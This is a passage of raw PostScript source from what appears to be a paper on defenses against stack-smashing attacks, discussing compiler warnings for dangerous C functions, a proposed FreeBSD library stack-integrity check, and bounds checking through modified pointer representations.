1.0000 SET_CMYK GS n 2775 5676 M (language ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3430 5676 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3689 5676 M (not ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3956 5676 M (trivial ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4408 5676 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4703 5676 M (involve ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5256 5676 M (fundamental ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6143 5676 M (modifications ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7113 5676 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7297 5676 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5400 M (concepts behind the C programming language.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 5124 M (A ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1876 5124 M (simple ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2374 5124 M (approach ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3038 5124 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3231 5124 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3525 5124 M (nature ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3995 5124 M (involves ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4612 5124 M (modifications ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5581 5124 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5764 5124 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6021 5124 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6186 5124 M (compiler, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6874 5124 M (which ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7334 5124 M (do ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4848 M (not ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1483 4848 M (affect ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1932 4848 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2204 4848 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2384 4848 M (programming ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3360 4848 M (language. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4113 4848 M (For ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4414 4848 M (example, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5089 4848 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5361 4848 M (BSDI ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5810 4848 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6119 4848 M (OpenBSD ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6872 4848 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4572 M (s) ST -3 0 MR (y) ST -3 0 MR (s) ST -4 0 MR (t) ST -4 0 MR (e) ST -4 0 MR (m) ST -4 0 MR (s) ST -4 0 MR (' ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1856 4572 M (compilers ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2611 4572 M (generate ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3273 4572 M (warning ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3916 4572 M (messages ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4644 4572 M (when ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5102 4572 M (compiling ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5874 4572 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6046 4572 M (program ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6709 4572 M (which ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7213 4572 M (uses ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4296 M (`) ST -4 0 MR (`) ST -4 0 MR (d) ST -4 0 MR (a) ST -4 0 MR (n) ST -4 0 MR (g) ST -4 0 MR (e) ST -4 0 MR (r) ST -4 0 MR (o) ST -5 0 MR (u) ST -5 0 MR (s) ST -5 0 MR (') ST -5 0 MR (' ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2101 4296 M (\(see ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 2412 4296 M (fig ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2629 4296 M (9.1.a) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 2962 4296 M (\) ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3060 4296 M (function ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3656 4296 M (calls. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4087 4296 M (Despite ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4637 4296 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4919 4296 M (shortcoming, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5835 4296 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6080 4296 M (main ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6455 4296 M (benefit ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6959 4296 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7140 4296 M (using ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4020 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1415 4020 M (approach ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2073 4020 M (such ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2426 4020 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2613 4020 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2901 4020 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3060 4020 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3357 4020 M (it ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3497 4020 M (encourages ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4294 4020 M (secure ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4768 4020 M (programming ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5723 4020 M (without ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6278 4020 M (changing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6935 4020 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7186 4020 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3744 M (or its performance.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 3468 M (A ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1882 3468 M (median ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2427 3468 M (approach ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3092 3468 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3286 3468 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3581 3468 M (nature ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4052 3468 M (involves ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4670 3468 M (slight ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5094 3468 M (modifications ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6064 3468 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6248 3468 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6506 3468 M (compiler, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7195 3468 M (such ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3192 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1402 3192 M (those ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1810 3192 M (proposed ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2477 3192 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2700 3192 M (Alexandre ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3450 3192 M (Snarskii) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3996 3233 M (13) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 4134 3192 M (, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4233 3192 M (which ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4696 3192 M (would ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5168 3192 M (modify ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5706 3192 M (only ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6058 3192 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6318 3192 M (`) ST -4 0 MR (`) ST -4 0 MR (d) ST -4 0 MR (a) ST -4 0 MR (n) ST -4 0 MR (g) ST -4 0 MR (e) ST -4 0 MR (r) ST -4 0 MR (o) ST -5 0 MR (u) ST -5 0 MR (s) ST -5 0 MR (') ST -5 0 MR (' ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7231 3192 M (\() ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 7287 3192 M (see ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2916 M (fig ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1428 2916 M (9.1.a\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1817 2916 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1863 2916 M (functions ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2528 2916 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2703 2916 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2952 2916 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3109 2916 M (library ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3599 2916 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3885 2916 M (perform ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4469 2916 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4589 2916 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4977 2916 M (integrity ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5586 2916 M (check ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6020 2916 M (before ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6492 2916 M (referencing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7297 2916 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2640 M (appropriate ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2040 2640 M (return ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2515 2640 M (value. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3036 2640 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3252 2640 M (his ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3523 2640 M (proposed ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4210 2640 M (patch ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4647 2640 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4853 2640 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5133 2640 M (FreeBSD ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5831 2640 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6536 2640 M (system, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7118 2640 M (if ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7297 2640 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2364 M (integrity ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1826 2364 M (check ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2265 2364 M (fails, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2645 2364 M (it ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2788 2364 M (would ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3254 2364 M (simply ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3758 2364 M (print ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4123 2364 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4248 2364 M (warning ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4844 2364 M (message ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5460 2364 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5751 2364 M (exit ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6051 2364 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6305 2364 M (affected ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6893 2364 M (program. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2088 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1556 2088 M (main ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1977 2088 M (disadvantage ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2933 2088 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3150 2088 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3478 2088 M (approach ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4176 2088 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4375 2088 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4712 2088 M (all ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4966 2088 M (dangerous ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5738 2088 M (functions ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6445 2088 M (would ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6948 2088 M (suffer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7426 2088 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1812 M (significant ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1972 1812 M (performance ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2878 1812 M (penalty, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3472 1812 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3775 1812 M (like ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4087 1812 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4353 1812 M (previous ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4989 1812 M (approach, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5704 1812 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6007 1812 M (modification ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6920 1812 M (does ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7288 1812 M (not ) ST GR %%PageTrailer AXPageSave restore showpage %%Page: 25 25 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 1200 1426 M (14) 138 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1338 1385 M ( http://www-ala.doc.ic.ac.uk/~phjk/BoundsChecking.html) 3224 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1271 M (15) 138 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1338 1230 M ( ../../docs/ftp_/p_subdomain/dse.doc) 2013 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1644 M (_________________________) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 3718 3091 M 4896 3091 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 3723 3086 M 3723 2725 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 4892 3086 M 4892 2725 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS GS 3742 3072 4873 2855 DOCLIPBOX n 3742 3072 M 4872 3072 L 4872 2856 L 3742 2856 L 3742 3072 L 4872 3072 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont6p140000 SETFONT GS 3742 3072 4872 2856 DOCLIPBOX n 3786 2911 M (\() 65 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 3742 3072 4872 2856 DOCLIPBOX n 4191 2911 M (\)) 65 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 3742 3072 4872 2856 DOCLIPBOX n 4389 2915 M (\() 65 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 3742 3072 4872 2856 DOCLIPBOX n 4751 2915 M (\)) 65 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont6p180000 SETFONT GS 3742 3072 4872 2856 DOCLIPBOX n 3729 2904 M (\() 83 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 3742 3072 4872 2856 DOCLIPBOX n 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0.0000 0.0000 1.0000 SET_CMYK GS n 7343 9848 M (its ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9572 M (implementation ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2311 9572 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2499 9572 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2761 9572 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3283 9572 M (libraries. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3972 9572 M (An ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4234 9572 M (additional ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4957 9572 M (drawback ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5663 9572 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5851 9572 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6150 9572 M (approach ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6819 9572 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6989 9572 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7297 9572 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9296 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1569 9296 M (necessary ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2264 9296 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2440 9296 M (checking ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3087 9296 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3337 9296 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3726 9296 M (must ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4097 9296 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4301 9296 M (written ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4819 9296 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4995 9296 M (assembler, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5751 9296 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6038 9296 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6196 9296 M (thus ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6520 9296 M (not ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6779 9296 M (portable ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7371 9296 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9020 M (multiple architectures.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 8744 M (An ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1950 8744 M (extreme ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2532 8744 M (approach ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3187 8744 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3361 8744 M (solving ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3895 8744 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4143 8744 M (problem ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4743 8744 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5083 8744 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5331 8744 M (compiler ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5968 8744 M (involves ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6576 8744 M (implementing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8468 M (bounds ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1745 8468 M (checking ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2407 8468 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2598 8468 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2863 8468 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3036 8468 M (programming ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4005 8468 M (language. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4751 8468 M (Possibly ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5377 8468 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5642 8468 M (most ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6028 8468 M (dangerous ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6774 8468 M (solution ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7371 8468 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8192 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1466 8192 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1862 8192 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2545 8192 M (problem, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3196 8192 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3389 8192 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3683 8192 M (approach ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4347 8192 M (violates ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4918 8192 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5083 8192 M (programming ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6044 8192 M (l) ST -2 0 MR (a) ST -3 0 MR (n) ST -3 0 MR (g) ST -3 0 MR (u) ST -3 0 MR (a) ST -3 0 MR (g) ST -3 0 MR (e) ST -3 0 MR (') ST -3 0 MR (s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6793 8192 M (simplicity, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7916 M (efficiency, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2020 7916 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2366 7916 M (flexibility ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3127 7916 M (devices. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3816 7916 M (One ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4199 7916 M (approach ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4915 7916 M (used ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5326 7916 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5561 7916 M (implementing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6591 7916 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6937 7916 M (involves ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7640 M (modifying ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1959 7640 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2225 7640 M (representation ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3231 7640 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3433 7640 M (pointers ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4032 7640 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4224 7640 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4490 7640 M (language ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5153 7640 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5345 7640 M (include ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5897 7640 M (three ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6293 7640 M (items: ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6763 7640 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7029 7640 M (pointer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7364 M (itself, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1632 